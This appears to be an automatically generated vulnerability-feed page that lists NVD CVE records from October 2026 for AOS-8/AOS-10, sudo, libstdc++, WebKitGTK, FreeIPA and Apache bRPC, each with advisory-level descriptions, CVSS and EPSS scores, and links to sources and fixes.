NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95704&date=2026-10-25
A vulnerability in the web-based management interface of wireless network management systems could allow an authenticated remote attacker to execute remote code. Successful exploitation could enable an attacker to execute arbitrary commands on the underlying operating system, potentially compromising system integrity and data security.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection.
https://kevwire.com/record/CVE-2026-95705
Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection. (Oct 22, 2026).
Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute commands with the privileges of the impacted mechanism on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95705).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95705&date=2026-10-25).
Sources:
NVD CVE-2026-95705: https://nvd.nist.gov/vuln/detail/CVE-2026-95705
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95705&date=2026-10-25
Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute commands with the privileges of the impacted mechanism on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection.
https://kevwire.com/record/CVE-2026-95706
Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection. (Oct 22, 2026).
Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute commands with the privileges of the impacted mechanism on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95706).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95706&date=2026-10-25).
Sources:
NVD CVE-2026-95706: https://nvd.nist.gov/vuln/detail/CVE-2026-95706
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95706&date=2026-10-25
Command injection vulnerabilities in the affected interface of AOS-8 could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute commands with the privileges of the impacted mechanism on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow vulnerability in the PAPI protocol of AOS-8 could allow an authenticated remote attacker with high privileges to achieve remote code execution.
https://kevwire.com/record/CVE-2026-95707
A buffer overflow vulnerability in the PAPI protocol of AOS-8 could allow an authenticated remote attacker with high privileges to achieve remote code execution. (Oct 22, 2026).
A buffer overflow vulnerability in the PAPI protocol of AOS-8 could allow an authenticated remote attacker with high privileges to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95707).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95707&date=2026-10-25).
Sources:
NVD CVE-2026-95707: https://nvd.nist.gov/vuln/detail/CVE-2026-95707
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95707&date=2026-10-25
A buffer overflow vulnerability in the PAPI protocol of AOS-8 could allow an authenticated remote attacker with high privileges to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection.
https://kevwire.com/record/CVE-2026-95708
Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection. (Oct 22, 2026).
Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95708).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95708&date=2026-10-25).
Sources:
NVD CVE-2026-95708: https://nvd.nist.gov/vuln/detail/CVE-2026-95708
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95708&date=2026-10-25
Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection.
https://kevwire.com/record/CVE-2026-95709
Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection. (Oct 22, 2026).
Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95709).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95709&date=2026-10-25).
Sources:
NVD CVE-2026-95709: https://nvd.nist.gov/vuln/detail/CVE-2026-95709
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95709&date=2026-10-25
Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated buffer overflow vulnerability exists in the underlying operating system of AOS-10 or AOS-8 and could allow an unauthenticated adjacent attacker to conduct a...
https://kevwire.com/record/CVE-2026-95710
An unauthenticated buffer overflow vulnerability exists in the underlying operating system of AOS-10 or AOS-8 and could allow an unauthenticated adjacent attacker to conduct a... (Oct 22, 2026).
An unauthenticated buffer overflow vulnerability exists in the underlying operating system of AOS-10 or AOS-8 and could allow an unauthenticated adjacent attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected system, with a limited impact to the integrity of the affected component.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95710).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95710&date=2026-10-25).
Sources:
NVD CVE-2026-95710: https://nvd.nist.gov/vuln/detail/CVE-2026-95710
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95710&date=2026-10-25
An unauthenticated buffer overflow vulnerability exists in the underlying operating system of AOS-10 or AOS-8 and could allow an unauthenticated adjacent attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to disrupt the availability of the affected system, with a limited impact to the integrity of the affected component.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authentication bypass vulnerability in the web-based management interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication...
https://kevwire.com/record/CVE-2026-95711
An authentication bypass vulnerability in the web-based management interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication... (Oct 22, 2026).
An authentication bypass vulnerability in the web-based management interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls and run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95711).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95711&date=2026-10-25).
Sources:
NVD CVE-2026-95711: https://nvd.nist.gov/vuln/detail/CVE-2026-95711
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95711&date=2026-10-25
An authentication bypass vulnerability in the web-based management interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls and run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A sensitive information disclosure vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to access limited information handled by the...
https://kevwire.com/record/CVE-2026-95712
A sensitive information disclosure vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to access limited information handled by the... (Oct 22, 2026).
A sensitive information disclosure vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to access limited information handled by the affected service. Successful exploitation could allow an attacker to view some information and to disrupt the availability of the affected service.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95712).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95712&date=2026-10-25).
Sources:
NVD CVE-2026-95712: https://nvd.nist.gov/vuln/detail/CVE-2026-95712
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95712&date=2026-10-25
A sensitive information disclosure vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to access limited information handled by the affected service. Successful exploitation could allow an attacker to view some information and to disrupt the availability of the affected service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated buffer overflow vulnerability exists in the command line interface of AOS-8.
https://kevwire.com/record/CVE-2026-95713
An unauthenticated buffer overflow vulnerability exists in the command line interface of AOS-8. (Oct 22, 2026).
An unauthenticated buffer overflow vulnerability exists in the command line interface of AOS-8. Successful exploitation could allow an unauthenticated remote attacker to disrupt the availability of the affected interface, along with limited access to or modification of some system data.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95713).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95713&date=2026-10-25).
Sources:
NVD CVE-2026-95713: https://nvd.nist.gov/vuln/detail/CVE-2026-95713
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95713&date=2026-10-25
An unauthenticated buffer overflow vulnerability exists in the command line interface of AOS-8. Successful exploitation could allow an unauthenticated remote attacker to disrupt the availability of the affected interface, along with limited access to or modification of some system data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in sudo. When sudoers rules use NOTBEFORE or NOTAFTER time-based access restrictions with timestamps that omit the trailing 'Z' timezone indicator, the time...
https://kevwire.com/record/CVE-2026-96512
A flaw was found in sudo. When sudoers rules use NOTBEFORE or NOTAFTER time-based access restrictions with timestamps that omit the trailing 'Z' timezone indicator, the time... (Sep 23, 2026).
A flaw was found in sudo. When sudoers rules use NOTBEFORE or NOTAFTER time-based access restrictions with timestamps that omit the trailing 'Z' timezone indicator, the time evaluation relies on the TZ environment variable inherited from the calling user. Because sudo is a setuid-root program, an unprivileged local user can set TZ to an extreme timezone offset to shift the authorization window by up to approximately 25 hours, causing expired rules to be treated as valid. This allows the user to execute commands outside the intended time window. Authentication is not bypassed; only the time-based authorization check is affected.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96512).
Sources:
NVD CVE-2026-96512: https://nvd.nist.gov/vuln/detail/CVE-2026-96512
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in sudo. When sudoers rules use NOTBEFORE or NOTAFTER time-based access restrictions with timestamps that omit the trailing 'Z' timezone indicator, the time evaluation relies on the TZ environment variable inherited from the calling user. Because sudo is a setuid-root program, an unprivileged local user can set TZ to an extreme timezone offset to shift the authorization window by up to approximately 25 hours, causing expired rules to be treated as valid. This allows the user to execute commands outside the intended time window. Authentication is not bypassed; only the time-based authorization check is affected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in libstdc++. An integer overflow can occur when processing large inputs to the aligned operator new in the C++ library.
https://kevwire.com/record/CVE-2026-95619
A flaw was found in libstdc++. An integer overflow can occur when processing large inputs to the aligned operator new in the C++ library. (Sep 22, 2026).
A flaw was found in libstdc++. An integer overflow can occur when processing large inputs to the aligned operator new in the C++ library. This vulnerability could lead to an undersized memory allocation, potentially causing memory corruption or application instability.
CVSS 7.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95619).
Sources:
NVD CVE-2026-95619: https://nvd.nist.gov/vuln/detail/CVE-2026-95619
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in libstdc++. An integer overflow can occur when processing large inputs to the aligned operator new in the C++ library. This vulnerability could lead to an undersized memory allocation, potentially causing memory corruption or application instability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in WebKitGTK. Processing malicious web content can cause memory corruption due to improper memory handling.
https://kevwire.com/record/CVE-2026-83596
A flaw was found in WebKitGTK. Processing malicious web content can cause memory corruption due to improper memory handling. (Aug 31, 2026).
A flaw was found in WebKitGTK. Processing malicious web content can cause memory corruption due to improper memory handling.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83596).
Sources:
NVD CVE-2026-83596: https://nvd.nist.gov/vuln/detail/CVE-2026-83596
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in WebKitGTK. Processing malicious web content can cause memory corruption due to improper memory handling.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in FreeIPA's idp-add command, where insufficiently validated --organization/--base-url input reaches a constrained eval() call before the corresponding LDAP...
https://kevwire.com/record/CVE-2026-79678
A flaw was found in FreeIPA's idp-add command, where insufficiently validated --organization/--base-url input reaches a constrained eval() call before the corresponding LDAP... (Sep 7, 2026).
A flaw was found in FreeIPA's idp-add command, where insufficiently validated --organization/--base-url input reaches a constrained eval() call before the corresponding LDAP access control check is enforced. This allows any authenticated IPA principal, regardless of privilege level, to enumerate and read the environment variables of the affected server process and to cause denial of service via memory exhaustion.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79678).
Sources:
NVD CVE-2026-79678: https://nvd.nist.gov/vuln/detail/CVE-2026-79678
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in FreeIPA's idp-add command, where insufficiently validated --organization/--base-url input reaches a constrained eval() call before the corresponding LDAP access control check is enforced. This allows any authenticated IPA principal, regardless of privilege level, to enumerate and read the environment variables of the affected server process and to cause denial of service via memory exhaustion.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in WebKitGTK. Processing malicious web content can cause a use-after-free issue due to improper memory handling and result in memory corruption.
https://kevwire.com/record/CVE-2026-78376
A flaw was found in WebKitGTK. Processing malicious web content can cause a use-after-free issue due to improper memory handling and result in memory corruption. (Aug 24, 2026).
A flaw was found in WebKitGTK. Processing malicious web content can cause a use-after-free issue due to improper memory handling and result in memory corruption.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78376).
Sources:
NVD CVE-2026-78376: https://nvd.nist.gov/vuln/detail/CVE-2026-78376
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in WebKitGTK. Processing malicious web content can cause a use-after-free issue due to improper memory handling and result in memory corruption.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in FreeIPA. The self-managed OTP token ACI does not require authentication and does not restrict which attributes may be added alongside the token entry.
https://kevwire.com/record/CVE-2026-76578
A flaw was found in FreeIPA. The self-managed OTP token ACI does not require authentication and does not restrict which attributes may be added alongside the token entry. (Sep 7, 2026).
A flaw was found in FreeIPA. The self-managed OTP token ACI does not require authentication and does not restrict which attributes may be added alongside the token entry. An unauthenticated LDAP client can exploit this, combined with a related flaw in the underlying directory server's ACI evaluation (tracked separately), to create an arbitrary attacker-controlled Kerberos principal and have it added to the administrators group. This allows a remote, unauthenticated attacker to obtain genuine FreeIPA administrator-group membership and perform administrative operations against the directory and, on SID-enabled deployments, other IdM services.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76578).
Sources:
NVD CVE-2026-76578: https://nvd.nist.gov/vuln/detail/CVE-2026-76578
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in FreeIPA. The self-managed OTP token ACI does not require authentication and does not restrict which attributes may be added alongside the token entry. An unauthenticated LDAP client can exploit this, combined with a related flaw in the underlying directory server's ACI evaluation (tracked separately), to create an arbitrary attacker-controlled Kerberos principal and have it added to the administrators group. This allows a remote, unauthenticated attacker to obtain genuine FreeIPA administrator-group membership and perform administrative operations against the directory and, on SID-enabled deployments, other IdM services.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Uncontrolled resource allocation in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server allocate a large amount...
https://kevwire.com/record/CVE-2026-74757
Uncontrolled resource allocation in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server allocate a large amount... (Oct 21, 2026).
Uncontrolled resource allocation in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server allocate a large amount of memory via sending a crafted mcpack request with a huge array item count.

Root Cause:
The bRPC mcpack2pb parser trusts the item count stored in the mcpack array header without validating it against the actual payload size. The code generated by the mcpack2pb protoc plugin uses this count to preallocate memory for repeated protobuf fields via Reserve(). A malformed request declaring item_count = 0x7fffffff can force the server to preallocate about 16GB of virtual memory, which may abort the process (SIGABRT) on memory-constrained hosts.

Affected Scenarios:
Use a bRPC server that wires a NsheadService to UbrpcMcpack2Adaptor (the Baidu ubrpc deployment pattern) and parses requests with code generated by the mcpack2pb protoc plugin. The request body is parsed before authentication.

How to Fix:
(Choose one of the following options)
1. Upgrade bRPC to version 1.18.0, which fixes this issue.
2. Apply this patch:  https://github.com/apache/brpc/pull/3451 

Note:
No matter which option you choose, you should know that the fix caps the array item count to the remaining bytes of the array payload.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74757).
Sources:
NVD CVE-2026-74757: https://nvd.nist.gov/vuln/detail/CVE-2026-74757
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
